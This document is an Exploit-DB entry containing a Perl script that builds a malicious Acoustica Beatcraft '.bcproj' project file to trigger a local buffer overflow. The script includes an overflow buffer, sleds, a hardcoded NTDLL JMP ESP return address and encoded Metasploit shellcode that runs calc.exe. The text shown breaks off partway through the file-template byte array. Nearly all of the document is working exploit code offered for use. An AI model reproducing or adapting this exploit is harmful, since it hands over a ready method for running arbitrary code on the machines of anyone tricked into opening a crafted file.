Exploit-DB #6333
Description: Acoustica Beatcraft 1.02 Build 19 - '.bcproj' Local Buffer Overflow
Type: local
Platform: windows
Date: 2008-08-30
Author: Koshi

Exploit:
#!/usr/bin/perl
#
# Acoustica Beatcraft (bcproj file) Local BOF Exploit
# Author: Koshi
#
# Date: 08-30-08 ( 0day )
# Application: Acoustica Beatcraft
# Version(s): v1.02 Build 19
# Site: http://acoustica.com/beatcraft/index.htm
# Tested On: Windows XP SP3 Fully Patched
#
# Acoustica Beatcraft contains a buffer prone to exploitation via an
# overly long string. The buffer contains the "title" of the "instruments"
# one can insert into a Beatcraft project. This exploit is a bit
# unstable in the fact that, to properly exploit it, one must open
# Beatcraft firstly, then proceed to open the exploit file from
# within Beatcraft. Simply double clicking the file will result
# in a simple DoS scenario. ( Hopefully I'll fix this soon )
# My guess as of now is we're not going to have it both ways.
#
# gr33tz: Rima my baby, str0ke, breaker_unit, mess'
#


# win32_exec -  EXITFUNC=process CMD=calc.exe Size=165 Encoder=ShikataGaNai http://metasploit.com
my $shellcode =
"\xdd\xc3\xd9\x74\x24\xf4\x5b\x29\xc9\xb8\x1f\xb4\xe6\x18\xb1\x24".
"\x83\xeb\xfc\x31\x43\x13\x03\x5c\xa7\x04\xed\x9e\x2f\x8c\x0e\x5e".
"\xb0\x86\x4a\x62\x3b\xe4\x51\xe2\x3a\xfa\xd1\x5d\x25\x8f\xb9\x41".
"\x54\x64\x0c\x0a\x62\xf1\x8e\xe2\xba\xc5\x08\x56\x38\x05\x5e\xa1".
"\x80\x4c\x92\xac\xc0\xba\x59\x95\x90\x18\xa6\x9c\xfd\xea\xf9\x7a".
"\xff\x07\x63\x09\xf3\x9c\xe7\x52\x10\x22\x13\xe7\x34\xaf\xe2\x1c".
"\xcd\xf3\xc0\xe6\x0d\x3a\xc9\x82\x1a\x7d\xf9\xcf\xdd\x06\xf5\x44".
"\x9d\xfa\x8e\x2a\x02\xae\x1a\xa2\x32\x5b\x15\xb9\xc3\x2b\x26\xbd".
"\xc3\xc0\x4f\x81\x9c\xe7\x79\x99\x74\x81\x7e\xda\xb9\xea\x2e\xb4".
"\x47\xd5\x2d\x37\xd0\x7d\x4f\x3d\x2e\x29\x4f\xa6\x4c\xb4\xc3\x4b".
"\xbd\x53\x64\xee\xc1";

my $led1 = "A"x110;	# Sled ( \x41 INC ECX )
my $led2 = "A"x34;	# Sled ( \x41 INC ECX )
my $buf1 = "A"x179;	# Overflow

my $buff = "".
	"$buf1".	    # Overflowage...
	"$led1".	    # Slide on down to the jump
	"\xeb\x07".	    # Jump NTDLL address
	"\xed\x1e\x94\x7c". # NTDLL.DLL JMP ESP ( This may need to be changed to a different JMP ESP )
	"\xeb\x31".	    # Line it up right and land into the sled
	"$led2".	    # Slip on down to the shellcode
	"$shellcode";	    # ..to the beat of a different drum.

my $tuff = "".
	"\x52\x49\x46\x46\xB0\x0F\x00\x00\x62\x65\x61\x74\x62\x70\x72\x6F\x30\x02\x00\x00".
	"\xCD\xCC\x8C\x3F\x43\x3A\x5C\x44\x6F\x63\x75\x6D\x65\x6E\x74\x73\x20\x61\x6E\x64".
	"\x20\x53\x65\x74\x74\x69\x6E\x67\x73\x5C\x4F\x77\x6E\x65\x72\x5C\x44\x65\x73\x6B".
	"\x74\x6F\x70\x5C\x70\x6F\x63\x2E\x62\x63\x70\x72\x6F\x6A\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00".
	"\x62\x6B\x69\x74\x98\x01\x00\x00\x00\x00\x80\x3F\xE8\x2B\x56\x13\x9F\x06\xB1\x4F".
	"\xB8\x24\x65\xE5\x00\xAB\xB8\xA7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\